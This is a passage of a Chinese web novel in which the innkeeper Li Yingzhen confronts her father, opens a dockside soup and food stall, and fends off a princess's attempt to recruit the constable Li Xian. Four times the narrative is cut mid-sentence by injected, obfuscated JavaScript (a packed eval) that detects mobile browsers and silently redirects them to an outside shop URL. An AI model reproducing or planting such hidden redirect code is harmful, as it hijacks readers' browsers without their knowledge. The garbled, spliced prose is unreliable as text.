她早料到了这点,所以回来的路上就叮嘱了阿桃和吴二,务必通知到每一个跟去锦瑟园的人,切莫对外炫耀声张,一切以安全自保为上。 好在从锦瑟园回来后风平浪静,甚至还有曾经为难过客来居的诸如王记米铺、庄屠户等相继上门“请罪”,想要重新跟客来居建立供货关系。 唯独黎家,没有丝毫动静。 这夜又是黎映真一人在大堂核账,明日该给黎世昌送分红去了。 她由此又想起李弦说的那条关于黎家的线索,就算真的不能帮上李弦,她也该快点和黎家撇清关系,免得将来当真东窗事发,连累了她,还让李弦难做…… 想得出了神,她连有人进来都未发觉,真注意到时,客栈的门板都落了一半了。 “怎么今晚过来?”黎映真放下笔,上去帮李弦一块落门板。 “实在懒得一个人生火,我想着还是你这儿方便。”李弦问道,“你又想什么呢?大晚上门也不落锁,不怕有歹人冲进来?” 黎映真脸上一热,总不好说想着跟他有关的事,于是只低下头,跟他一块儿将剩下的门板落完。 她往柜台里走,李弦就跟在她身后,停在柜台外头。 “啪”的一声,轻轻拍了一枚碎银子在外面上,“老房间,住三日。” 收了银子,黎映真照旧记账,又听他问道:“明日要去黎家?” 笔尖一顿,但好在没写错,她没抬头,含糊应了一声。 “东街的铺子准备几时开张?”李弦问道。 那个铺面正是成国公给她的赔礼。 记完账,黎映真将账本锁进抽屉里,问道:“你问这个做什么?” 见他视线往一旁空着的桌子一瞥,黎映真绕出来,两人一起坐下。 “是不是查到什么了?”黎映真焦急问道。 暗淡的烛光里,李弦眉眼间的阴影浓重,教他的神情看来更添顾虑。 “你快说呀。”她催道。 “眼下不好说,但你既从黎家出来了,最好能彻底跟他们撇清关系才好。”李弦凑近些,神色更加郑重,“尤其是钱财往来上的。” 他这顾虑重重又审慎叮嘱的模样让黎映真确定了必有蹊跷,她不由屏住呼吸,再次确认道:“那就是确实有事?” 李弦嘴角动了动,没做声。 “但我一时半会儿拿不出那么多银子。”黎映真道,“就算我拿出全部的盈利也不可能在短时间内凑出足够买下这间客栈的钱。” “所以我的意思是,尽量双管齐下。横竖国公送了你一个铺面,空着也是空着,何不利用起来?” “再开一家客来居?” “滴!” “滋——” 先是一记尖锐的声响突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103763|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在黎映真脑海中爆发,随后便是滋啦滋啦的杂音爆发,发生得毫无征兆。 “怎么了?”察觉到黎映真的异常,李弦关心道。 脑海中的电子杂音来得凶猛,但好在持续时间不长,黎映真缓了缓终于觉得好些了,但开口说话仍听来气虚,道:“没事。” “真没事?”李弦将信将疑,“你是不是有什么事瞒着?” 黎映真显然不想暴露自己的“不正常”,于是搪塞道:“能有什么事瞒着?” “黎映真。”李弦一把按住她原本放在桌上的手,死死盯着她追问道,“你以为你不时表现出的异样,我看不见?你我说着话,你突然走了神,表情和身体都随之出现异常反应,你到底怎么了?” “我……”黎映真没有直接反抗,但被李弦这样按着,他掌心的温度传来,总教她能明显感受到在这个世界被特殊关注的动容。 她并非冷血无情,只是这样的感受太影响她的心态,她怕在李弦面前露馅。 不止是露关于系统这种在外人看来天方夜谭的馅,还有别的,虽然她自己不完全清楚那究竟是什么。 黎映真尝试着推开李弦的手,但那个从来顺着自己的人这会儿偏跟她作对。 “你先松开,我不走。” 按在手背上的手这才松开,她忙抽回来。 “弄疼你了?” 带着歉意的询问传来,黎映真匆忙撸下袖管,像藏了什么东西,生怕被发现似的。 两人静静坐了一会儿,李弦又问道:“冷吗?” 黎映真摇头,猜是自己抱臂的动作让他误会了,于是坐正了些。 情绪冷静下来,黎映真道:“我确实……有点小毛病。” 见李弦李弦眉头一皱,她忙解释道:“不严重的,是……这儿……” 指了指脑袋,又觉得不够准确,黎映真捉摸起措辞来。 “就是情绪,心境,要不断满足情绪上的需求,从而保持精力上的亢奋……” 虽然不见得是都是胡编乱造,但被李弦看着,她越说越没有底气,只能收了声。 “李弦,我跟正常人不一样。”垂着眼,低着头,她说话的时候有股对自己的厌弃,“我随时可能从这个世界消失,我甚至不知道,如果我消失了,你们还会不会记得我。” “当然……”李弦道,“你到底是什么意思?” “我的意思是,我必须为了自己能活下去,不停地往前走,不能停下来。一旦停下,我可能就要消失,关于我的记忆,关于我在这个世界上存在过的一切痕迹,都可能消失。我们……可能从来没认识过……” 她还是无法和盘托出,只能这样告诉李弦,哪怕他从这一刻开始真的将她当做一个奇怪的疯子。 台上的蜡烛爆了声烛花,分明只是有那一记声响,黎映真却像被烫了似的惊慌着抬起头。 跌进李弦深沉关切又带着探究的目光里,她不由失神,连呼吸都变得有些急促。 “那样怎样才能让你好好地活下去?” 翻涌在他眼底的炽热透过烛光传,融在她尚且迷茫懵懂的视线里。 这一瞬,心头狂颤,喉头干涩,眼眶却不受控制地发热,连看近在身前的李弦都快看不清了。 46. 第 46 章 李弦递来手巾的那一刻,黎映真别过脸去,咕哝道:“我自己有。” 吸了吸鼻子,她却只是用衣袖胡乱在脸上擦着。 有人又将手巾往她跟前递了些,轻碰了她的手臂,柔声道:“你的东西。” 手里的巾子眨眼间就没了,李弦笑道:“用完了还我。” 几声情绪逐渐平静下来的啜泣后,手巾被放在李弦面前的桌子上。 黎映真还别着脸,不教他看见她还双眼发红,面带委屈又无奈的样子。 感觉到李弦往自己身边凑,黎映真索性往旁边挪了挪。 不想这人直接坐来她的长凳上,就这么跟她挨在一起。 “干嘛?”心里还有些别扭,黎映真只在嘴上故作嫌弃。 “等我要的答案啊。”李弦一直看着她,哪怕这会儿只能瞧见她的后脑勺。 两人坐得近,她能听见李弦的呼吸声,均匀的,平稳的,就像他给与她的耐心,是能让她感受到安定的。 扯着自己的袖口,黎映真抿唇,答道:“就是经营客栈咯。” 将此时安静的客栈大堂看了一遍,她低声道:“我跟这个地方绑死了,其实我跟成安县都绑死了,不知道这辈子还有没有机会离开这里。” 指尖叩响桌面,闷闷的声响轻缓而来,像是时间的计时,提醒着黎映真,自己的每一刻都不能浪费。 “那更要尽快将客栈拿回来。”李弦道,“考虑考虑把东街的铺面做起来,如果精力实在不够,也可以租出去,对你早日结清答应黎家的分红有帮助。” “黎家真的……”看李弦这会儿沉默了,黎映真知道不能继续问了,“我只是还没想好,是自己做生意,还是租出去。如果是自己做的话,又该做什么生意呢?那间铺面,其实不适合做客栈。” 嗓子虽有些哑,好歹完整说完了这些话,黎映真却发现李弦脸上挂着莫名的笑意。 “你笑什么?” “从锦瑟园回来,你每日可都忙得脚不沾地,没想到还抽空去看过铺面,想过怎么做。” “不然呢?家里靠不住,我只能靠自己。就算不知道能一直这样不停地做到什么时候,我总得先打算起来,攒点养老的钱吧。” 看她站起身,李弦这次没拦着,一手托着脑袋看着她,道:“时候不早了,歇了吧。” “这不是还有人耗着我的时间吗。”从柜台上拿了烛台,黎映真朝后院的方向看了一眼,对李弦道,“走啊。” “来了。”有人二话不说,拿起桌上的烛台,融进了照着黎映真的那一片烛光里。 翌日,黎映真惯例去黎家交分红,只见到了黎世昌,没见郑氏和黎文远。 交付了银票,黎映真不甘心就这么离开,主动问道:“爹,怎么没见郑姨娘跟黎文远?” 听她这样问,黎世昌眸光一亮,落在黎映真身上的目光竟是多了几丝欣慰。 “坐下说吧。”说话时,黎世昌嘴角微微扬起。 黎映真不惯这厅里的沉闷,但又想探一探黎家的情况,只得先坐下,这才听黎世昌继续道:“你郑姨娘近来犯了旧疾,你弟弟带她去茉城找毛大夫,顺道在那儿的宅子住一段时日,当修养了。” “几时去的?要去多久?”黎映真追问道。 黎世昌头一回见她这样关心家里的人,惊讶之余又觉高兴,道:“映真,你在外头这些时日确实历练了,过去你从不会这样关心你郑姨娘母子。” 她这才知是黎世昌误会了,却也不想解释,便暂且不接话了。 “你在锦瑟园的事,爹也是听说了的,你能有这样的出息,爹很是欣慰。你骨子里到底还是留着我们黎家的血,是有经商天赋的。 “只是到底还是个姑娘家,只身一人在外头没个支撑,总归辛苦。如今客栈生意稳定下来,名声也有了,不如你就回家住吧。 “家里总比外头强。过去的事就让它过去吧,终究是一家人,哪有隔夜仇?” 黎世昌这番话说得情真意切,就连黎映真抬眼去看他,那双早已开始浑浊的眼里也似乎流淌着他对她这个女儿的愧疚和期盼。 她不知若原身在场,是不是会为这迟来的亲情感动,但她从未在这个所谓的家里感受到过温暖,自然也不会为黎世昌在她有所成绩后的示好而动容。 黎映真淡淡道:“多谢爹关心。客来居是娘的心血,我既接手了,就想凭自己的能力将它经营好。住在客栈,打理起来也方便。黎家有黎文远继承门户就好,我就不回来添乱了。” 黎世昌眼底那点刚刚升起的暖意,瞬间凉了下去,脸色微微沉了沉。 暗道自己太过直接,黎映真放软了态度,半哄道:“爹听我这话不高兴,但家里有黎文远这个做实事的,既孝顺父母,又将生意打理得不错,其实家里有没有我,都不打紧。” “哎。”听了这样的恭维,黎世昌神情才有所缓和,当着黎映真的面也是不曾隐藏他对那个儿子的满意,“文远如今也长进了,知道在外面忙活生意了,不像以前总胡闹。这趟他去茉城,既是照顾你郑姨娘,也是要处理手头的生意。他现今手里还有几桩大生意,的确是出息了。” “大生意?”黎映真无法不将这个情况跟李弦透露的线索联系起来,尤其看黎世昌眉宇间那难掩的骄傲,可见他对黎文远手里的大生意很是满意。 她于是继续试探道:“可是黎文远到底年轻,在商场上不够老练,爹还是应该多替他把把关,提点着,免他一时冲动。眼下,爹可问过他在做什么,给他些意见?” 大抵还是护子心切,虽知道黎映真说得不错,但事关自己宝贝儿子,黎世昌还是忍不住拉下脸来,不似先前友善,沉声轻斥道:“他终究是你弟弟,如今终于上进了,如何还不放心?家里生意迟早都是要交到他手上的,他能没有分寸?再说,我确实看着,更不会出错。” 黎世昌这样的态度,让黎映真知道是不可能从他这儿问出什么来的,她于是接话道:“是我多嘴了,黎家的事原就不该是我能过问的。” 说着,她起身,面色如常道:“答应爹的东西,我已送来,爹清点无误的话,我先回去了。” 黎世昌被她这副淡漠的模样一激,抬手指着他,薄怒道:“你……你到底还是在外头野了心,现在是真的连我这个爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108519|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不放在眼里了。” “爹眼里只有黎文远,又何曾有我这个女儿?从你将我嫁给张家的那一刻起,你就再没将我看做是黎家的女儿,当做黎家的人。 “我如今月月拿回来的分红,爹是给我留着,当我将来的嫁妆,还是都给了黎文远,爹心里最清楚。” “你!你!”黎世昌恼怒之下,抄起手边的茶杯便掷了出去。 黎映真闪身一躲,那茶杯砸在她鞋边的地上,清脆的一声响,瓷碎水飞,落了好大一滩水渍。 哪怕真切地感受到黎世昌的怒意,黎映真也面不改色,转身离开大厅。 从正门走过时,鞋底从那摊水渍上踩过,一步都没有退却。 从黎家出来,黎映真又瞧见了李弦的身影。 穿着公服,靠着路边的一棵树,嘴里叼着不知从哪儿捡来的一根细草,正闭着眼睛晒那从树杈里漏下的太阳。 提着裙角小跑过去,黎映真笑道:“你这明目张胆地摸鱼,不怕有人去县令跟前告你的状?” “我这是路过。”李弦紧了紧腰间的佩刀,一副享受够了的懒洋洋模样,视线恰从她裙角扫过,发现奇怪的水渍,紧张问道:“怎么了?跟你爹动手了?” “那我还能平平安安出来?”黎映真笑道。 两人这就一块儿往客来居走。 “黎文远去茉城了。”黎映真道。 李弦叼着那根草若有所思,口中含糊道:“嗯,我知道了。” “看来是我多管闲事了。” 李弦立即吐了那根草,故作凶凶之态,道:“谁这么不识好歹?” 看她笑了,李弦才有所收敛,继续跟在她身边走着,有意放慢了脚步,但又见她眉心渐渐拧到了一起,于是问道:“怎么了?” “在想你昨晚上的话,我早一天做决定,就早一天赚钱。不过还是没想好那个铺面到底要做什么。” “是有了想法但拿不定主意?不妨说出来,我给你参详参详。”李弦道。 “那个铺面位置绝佳,面积不算小,直接做客栈的分店,前期投入太大。如今我手头虽然宽裕了些,但也不能贸然就把钱都砸进去。 “再说,成安县就这么大,那个铺面跟客来居距离也不远,用不着开两家类似的店,浪费资源。” 李弦听她说得头头是道,不禁跟着点头。 “东街往东去是出运的码头,商贩走夫聚集,他们最需要确实也不是住宿。” “是吃的!”黎映真道,言辞间透着股茅塞顿开的兴奋,“民以食为天,但贴近这些人的食物一定要价格便宜、便于周转! “我光想着做客栈任务,只想复制客来居的模式,但东街那儿更适合做快餐、小吃,或者……就做个专门供应药膳汤饮、方便携带的档口。” 又是些他没听过的新词儿,但从黎映真的跃跃欲试的神情里,李弦知道她这是有方向了。 “那就先恭……” “李弦,你真是我的福星!” 她的夸赞毫不掩饰,跟她眸中闪动的眼波一样,坦诚直白。 他,很喜欢看,也……很……喜欢…… 47. 第 47 章 有了初步的设想,黎映真便着手准备起来。 东街附近的码头,这几日也就多了一道陌生的身影。 这日晌午刚过,正是码头力工们短暂的歇晌时分。 靠近河岸的一块空地上,几个简陋的茶摊和吃食摊子周围,围坐满了满身汗渍的汉子们。 黎映真坐在边上的位置,穿着一身豆绿色的粗布衣裳,头发简单地用木簪挽起,跟周围为生计奔波的妇人相比,她只是看来年轻些,晒得没那么黑。 手里捧着刚从旁边摊子买来的粗面馒头,她一边小口咬着,一边目不转睛地观察着周围。 她看着力工们如何狼吞虎咽,听着他们用粗嗓门抱怨活计太重、东家太抠,或者交流着哪条船给的工钱高些。 但最重要的,还是捕捉关于“吃”的那些事。 “老王,今儿这馒头咋有点硌牙?” “将就吃吧,能填饱肚子就不错了。” “唉,要是能有口热汤顺顺就好了,光啃这干馒头,嗓子眼都冒烟……” “热汤?街口那家面馆倒是有,五文钱一碗清汤寡水的,还不如多买个馒头实在。” 黎映真默默听着,在心里的小本本上记上一笔:需求便宜、热乎的汤水。 “这不是黎掌柜吗?你怎么跑我们这糙汉子扎堆的地方啃馒头来了?”一个熟悉的大嗓门在黎映真身旁响起。 她抬头,见是常在码头揽活的一个小工头,姓陈,大家都叫他老陈头。 之前客来居重新开业搞宣传时,他还带着几个兄弟去捧过场,黎映真记得他。 “我就是过来随便看看。”黎映真挪了挪,给老陈头让了位置,顺势把手里的另一半没动过的馒头递过去,“陈叔吃了没?尝尝我这个。” 老陈头哈哈一笑,没客气,接过来就咬了一大口,道:“这不就是臭老三家的馒头吗。又干又硬,要不是便宜,咱也不吃这个。对了,我看你这几天常来码头,怎么,客栈的生意不好做,要来拉咱们这儿的兄弟了?那你找错人咯。” “陈叔你说对了一半,我是来拉客的,但不是给客来居拉客人。”黎映真看有了现场采访的好机会,于是拉着老陈头聊了起来,“咱们码头上的兄弟们平时都爱吃点啥?有啥不方便的?” 老陈头一听来了精神,咽下嘴里的馒头,开始倒起苦水来,道:“哎呦,可别提了,咱们这活儿,累死累活,吃饭就图个快、顶饱! “可这附近,不是咱吃不起的酒楼,就是些不干不净的摊子,上回王麻子不知吃了啥,一连拉了三天,耽误多少事。再说像样点的面馆,一碗面也得五六文,天天吃谁受得了? “大多时候,就跟现在一样,啃冷馒头,喝凉水。要是哪天活儿重,能狠心去买碗肉汤,那都跟过年似。” 他话音才落,旁边几个歇着的力工也凑过来七嘴八舌地抱怨起来。 “要是有个地方,能让我们花上两三文钱,喝上口热乎的的汤,那真是积德了!” “我们有时候卸大船,几百号人一起歇工,一下子涌出来,人一多,东西都得靠抢,晚一步都没得吃。” 热汤、顶饱、便宜、干净、可预定、量大优惠…… 黎映真认真地听着,不时点头,心里那个关于新铺面的设想越来越清晰。 “我说今儿真热闹,合着是码头来新人了。” 熟悉的声音划破嘈杂的人声传来,那含笑的语调里带着三分戏谑。 力工们都是认得李弦的,这就纷纷打起来招呼。 “李捕快今日怎么来咱们码头?咱们可是记得,这块是老梁的地界儿。”老陈头道。 李弦拍了拍腰间的佩刀,好整以暇地看着在码头上来来往往的人群,道:“都是公家地界儿,他还要画地称王不成。” 一群人听了哈哈笑了起来。 黎映真继续啃着手里剩下的半个馒头,跟大伙儿一块儿笑。 又见李弦走近了一些,跟老陈头道:“借个地方,我有事儿跟黎掌柜商量。” 老陈头这就起来,吆喝着“上工去了”,就将周围几个聊天的一并都叫走了。 等李弦坐下,黎映真问道:“什么事儿?” “我刚在街口遇到阿桃,她这么跟我说……”李弦故意耷拉起一张脸,表情略显夸张地给黎映真看,一面还学着阿桃的语气,“掌柜的已经好几天没在客来居正经待着了,她那本账本都快落灰了。” “阿桃才不是你这样呢。”把最后一口馒头塞进嘴里,黎映真拍拍手,笑睨了李弦一眼,“客来居有孙伯和阿桃看着,我放心。等下个月,我就给他们涨工钱。” 目光扫过码头上那些忙碌的身影,她往李弦身边凑了凑,得意道:“我还准备把吴二调来新铺头做管事呢。那小子机灵肯干,能说会道的,一定能跟这里的力工们混熟。” 李弦面带赞色,道:“想得挺长远。” “那是。”黎映真昂起头,抬着下巴,得意极了,继续道:“不过那小子算账不行,我得给他找个沉稳靠谱的账房搭伙。哎,你人脉广,有没有合适人选推荐?” “算盘都打来我头上了?”李弦眼底笑意更浓,嘴上却是拿乔,“我这面子虽不大,但也不是轻易就能给出去的。要我帮忙,没点靠谱的东西,我怎么去给人家做思想工作?” 黎映真惊喜道:“你现在的小词儿也是一套一套的。” “一般一般,在黎掌柜身边多听多看,总能学到新东西。”李弦道,“说说吧,新铺头的事考虑到哪一步了?还有其他要我帮忙的?” 见她如此捧场,黎映真双眸闪亮,自然打开了话匣子。 “经过我这几日遵守观察,码头这儿的痛点太明显了。兄弟们要的是快、省、养!所以我就准备出便宜实惠的快餐,搭配温补的药膳汤底,不求多精致,就是一个真材实料,有益健康。” 也许因为李弦是黎映真的第一个听客,分享的喜悦在与他讲述新铺面计划的过程中不断积累。 越说,她越兴奋,不觉渐渐颊畔生红,这会儿待着寒意的河风里,她竟出了细汗。 “还有更绝的呢。”黎映真戛然而止,杏眼圆睁,看着李弦,当真一副神秘莫测之态。 李弦侧耳过去,笑着追问道:“还有什么?” 黎映真掩唇,低声道:“商业机密。” 说完不等李弦反应,她便起身,边跑开边嚷道:“不耽搁李捕快巡街了。” 没一会儿的工夫,她连声带人消失在码头被河水湿润的风里。 接下去的几日,黎映真依旧为筹备新铺面忙碌着,还多跟码头的力工们“厮混”,一来混脸熟,二来给将来的生意多挖掘些客户渠道。 正跟一位船老大攀谈,黎映真却听跑来的吴二说公主到了客来居,她不得不即刻赶回去。 客来居内生意红火,黎映真跨进门时就听食客们跟自己打招呼。 她匆匆应了,一面拍着身上的尘土,一面提着裙角小跑上了二楼雅间。 见到十一娘时,黎映真已完全将在码头的轻松舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112050|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朗收敛起来,稳步上前,恭顺行礼。 “我来了才知道,黎掌柜近来有新打算,要见你一面都不容易呢。”十一娘笑道。 “不知殿下驾到,民女疏忽。” “新铺头筹备得还顺利吗?” “一切顺利。”黎映真回道,“不过,这几日虽忙于筹备新铺头,但关于客来居的生意,请公主放心,不会耽搁。” “黎掌柜办事,我自然是放心的,我今日过来是另有一件事要你帮忙。”十一娘道。 这金枝玉叶始终是一派谦和有礼的姿态,看来平易近人,但黎映真可知道,这每一声听来委婉的话语背后,都是十一娘掌权者高高在上的不容置否。 “请殿下示下。” “李弦李捕快并非池中之物。他留在成安县,是屈才。” 心头蓦地一紧,黎映真垂眸更甚,又强作镇定地站在原处。 “我很欣赏他,也欣赏黎掌柜你的才干。”公主娓娓道来,语调更显亲善,看向黎映真的目光也更柔和,“幸运的是,我已收了黎掌柜到身边,但李捕快那儿…… “上次锦瑟园刺客之事,有他在,调查得非常迅速,我很满意。能力如此出众之人,只留在成安县,大材小用了。他若能为我所用,前程必不可限量。” “黎掌柜,你以为呢?” 十一娘轻轻转动着腕上的玉镯,意味深长的语气中带着显而易见的压迫。 黎映真因自己独木难支才选择跟随十一娘,但李弦未必需要这样的扶持。 她速速打了腹稿,抬头迎上十一娘含笑微凉的目光,道:“民女一介商贾,得殿下厚爱,能继续开设客来居,药膳之道惠及更多乡邻,已是心满意足。至于李捕快志在何处,民女不敢妄加揣测。” “黎掌柜也不提议让我召他问问?”十一娘仍浅浅笑着,只那眸光更冷了几分。 袖中的手攥得指节发白,黎映真却不敢贸然应声。 她怎会不知十一娘的意思,是要她往后更唯命是从,也是要她去说服李弦答应投诚。 可若李弦能答应,又何须她出面? 她又凭什么去做说客? 十一娘这是有意给她出难题,要她在前程与李弦之间做出选择—— 不够忠心的人,不必留着。 黎映真躬身垂首以示谦卑,诚挚道:“能得殿下青眼,是李捕快几世修来的福分。殿下惜才爱才之心,民女感同身受,更是万分钦佩。” 她微顿,声音愈发恭谨,也愈渐坚定,道:“只是,李捕快志在成安县,心系市井,所求是缉凶惩恶,保境安民,凌云前程未必是他心中归处。民女不敢以浅薄交情动摇其赤诚本心,望殿下明鉴。” 话音落下,雅间内陷入一片寂静,只余门外传来的客栈喧闹,衬得四下更显沉闷。 黎映真感受到软座上的身影站起身,那衣上的幽香随之靠近过来。 她想要退开却知不能,便按捺住内心惶惶仍垂首站着。 待那雍容身影就停在跟前,黎映真用力捏着双拳,阵阵刺痛自掌心传来。 “殿下吩咐就好,民女认真听着。”她看着十一娘那精致的裙角,努力维持着冷静。 “赤诚本心……” “是,李捕快安贫乐道、恪尽职守,是以县里的百姓才对他深信不疑,钦佩有加,他亦固守本心,竭力回应,才有如今成安县的一片祥和安定。” 十一娘脸上笑容更深了几分,道:“黎掌柜原是知道他志在何处,还说只是浅薄交情?” 48. 第 48 章 那从大魏金枝玉叶身上透出的如兰幽香,丝丝缕缕地萦绕在黎映真鼻间。 十一娘仿佛信口一问的话语让她为之呼吸一滞,又顿了顿才道:“都是民女所见所闻,算不得多深刻。” 低低的一声“嗯”传来,不知是十一娘认同她的解释,还是应许了她的婉拒。 这一次见面虽未闹僵,却也不见得愉快。 十一娘走时不见喜怒,黎映真心底顾虑丛生。 事后李弦有意问过十一娘到访之事,但黎映真只说是来询问客栈业绩搪塞了过去,也不知他究竟信不信。 再往后的日子,黎映真还是一面照顾客来居的生意,一面筹备新铺面开张。 所幸一切顺利,属于她的第二家铺头很快在成安县有了姓名——五味轩。 东街码头,五味轩开业的红绸还未撤下门口便已排起了小小的队伍。 门口的大陶锅里,奶白色的骨头汤翻滚着,混合着几味温补药材的独特香气,随着秋风飘出老远。 “吴二哥,老规矩,一碗汤,两个馒头。”一个刚卸完货,还在抹着脸上汗水的力工喊道。 “好嘞,马上就来。”吴二嗓门洪亮,手脚麻利地从蒸笼里夹出两个黄澄澄的杂粮馒头,又飞快舀上一大勺浓汤。 黎映真拿着案板过来,接了吃的就给点餐的客人送去,对他道:“柱子哥今儿下工早。” “黎掌柜又来给吴二哥打下手,当心给他惯的,以后魂都飘了。”柱子一只手抓了两个馒头,另一只手端了汤,笑哈哈地找了个空点儿的位置站着就吃了起来,“一会儿他们都忙完了,一股脑都得出来,人挤人的,我赶紧做完了先来吃。嗯,你这热汤时真不赖,我这喝下去浑身都暖烘烘的。有劲儿!” “汤烫,慢着点儿。”黎映真提醒道。 一个穿着长衫、气质温润的中年男子过来,与黎映真道:“掌柜的,今早的肉骨和药材入库单都对过了,没问题。要去码头的东西也都准备好了……” 这就是黎映特意为吴二找来的账房先生,赵淮。 听赵淮说着话,黎映真发现一个熟悉的身影晃悠悠地穿过排队的人群到了店门口。 吴二眼尖,手里的东西才递给点餐的客人便喊道:“李捕快,又来巡街?” 李弦还未开口就见黎映真转身走了,他没在意,又见一旁有店里的伙计推了两辆车出来,车上分别放着两只桶。 赵淮此时也上来跟李弦打招呼,道:“李捕快。” “今儿这么早就去码头送吃的?”李弦问道。 这就是黎映真先前卖的关子——码头预订外卖。 赵淮点头道:“昨日老陈头特意过来跟掌柜的订的单子,说是今日他们卸货卸得早,所以要我们提前送吃的过去,午后他们上工也早。” 一碗热腾腾的汤递到面前,李弦没看谁送来的,接过吹了吹,就往嘴里送。 黎映真睨他一眼,只跟赵淮交代了几句,待说完了才听李弦道:“你这不光生意好,伙计之间处得也好。” “多亏李捕快找来赵先生,有他在,我省了不少事。”黎映真这会儿才在李弦身边站定,“你跟老梁换片区了?三天两头往这儿跑?” 李弦咕嘟咕嘟喝着热汤,目光黏在黎映真身上,没吱声。 看看时间差不多了,黎映真叫上吴二和另一个伙计,推着车就往码头去了。 黎映真这个预订外卖按照前一天客人下的订单,依人头配量,量大从优,但有汤饮需求的需自带餐具。 她倒是不担心有人嫌麻烦不选择五味轩,毕竟从客来居开始,她在成安县里已有了货真价实的名声,还是愿意支持她的人也多有去店里堂食的。 带着伙计到了地方,黎映真已见有不少人等着。 吴二他们固定推车的时间里,力工们自觉排好队。 待准备工作做齐,吴二负责派汤,黎映真分馒头,排着队的力工们看着人头济济,但也井然有序。 李弦环顾周围,码头上依旧是一幅忙碌的景象,而黎映真这儿没什么混乱,他便开始在附近巡查,原本这也是他职责所在。 在附近巡视一圈回到码头,李弦看黎映真还在给最后几个力工分发食物。 冷得都快要穿冬衣的天气,她又忙得出了一头汗,还挽起了袖管,几缕碎发黏在颊边,看起来有些狼狈,但浑身上下透着股鲜活有力的劲儿。 嘴角不知不觉地扬起,李弦抱臂看着,待分完了最后一个人的食物,他才上前。 汤已见底,他帮着收拾道:“黎掌柜这定人定量的本事越发炉火纯青了。” “小本买卖,当然要严格控制成本。”黎映真道,“你不赶紧回去换值?我这儿可没多的给你垫肚子。” 李弦手上没停,将东西都收回车上,等伙计过来推车,他才在黎映真身边,跟她并肩走着,道:“午间休值,我自有安排。” 黎映真笑哼一声,又忽地想起什么,从李弦身边凑了凑,低声问道:“你总往这儿跑,该不是码头这儿有你在查的线索?要不要我帮忙?” “线索?”李弦没料到黎映真会想这么多,可见她认真又热心的神情,他心思一动,道,“想知道?” 瞧他双眼弯弯,嘴角又咧开了一些的样子,黎映真便有了数,摇头道:“也不是那么想知道。” 说着,她有意加快脚步,不想跟这一肚子坏水的人走在一起。 李弦知道她回过味了,没忙着追上去,悠哉游哉地跟在后头。 只是这会儿忽然感觉饥肠辘辘,他想吃客来居的菜了。 过了午间外卖最忙碌的时候才是黎映真跟吴二他们吃饭的时间。 黎映真喝着热汤,吃着馒头,虽低着头,但一对长睫扇啊扇的,显然是在思考时下意识的动作。 “想什么呢?吃东西都不定心?”李弦从面前的碟子里拿了个馒头,明目张胆地“蹭饭”。 急着回答李弦,黎映真喝了一口热汤想要将嘴里的馒头咽下去。 谁知汤水还是烫,她又憋着,一下就憋红了脸,背对着李弦,仓促又慌忙着吞咽下去。 李弦趁着这会儿让吴二倒了杯凉水,递给黎映真道:“过过口,没那么难受。” 接了杯子就是两大口凉水下肚,虽这冰火两重天很是刺激,但好歹缓解了从口到五脏六腑的灼烧感,黎映真又长长吐了口气,终于舒服多了。 听见李弦有意克制的笑声,黎映真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117937|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横他一眼。 这人如今识趣多了,见她一个眼刀飞来,立刻主动认错道:“是我多嘴,不该在你吃东西的时说话。” “哼。”黎映真受用,故意站起身要找吴二的样子,不想被李弦瞧见自己压不住的嘴角,“吴二,我先回去了。” “掌柜的你再坐一会儿,要不回去了也没得歇。”吴二才伙计交代完午后要做的事,过来时瞧见李弦还坐着,他道,“李捕快都还歇着呢,掌柜的你也多坐会儿。” 黎映真却是往外头走去,道:“我还有事回去找阿桃商量呢,先走了。” 但见李弦没动,她催道:“这会儿走回去,正好该你午后上值。” 李弦抓过桌上的佩刀,径直跟着黎映真走了。 两人一块儿走在街上,李弦不时便会收到路过百姓的问候,他一一都回了。 黎映真已习惯了这样的情形,不由想起那日十一娘说过的话,以及那句“原是知道他志在何处,还说只是浅薄交情”。 她跟李弦自然不止是有交情,但要论有多深厚…… 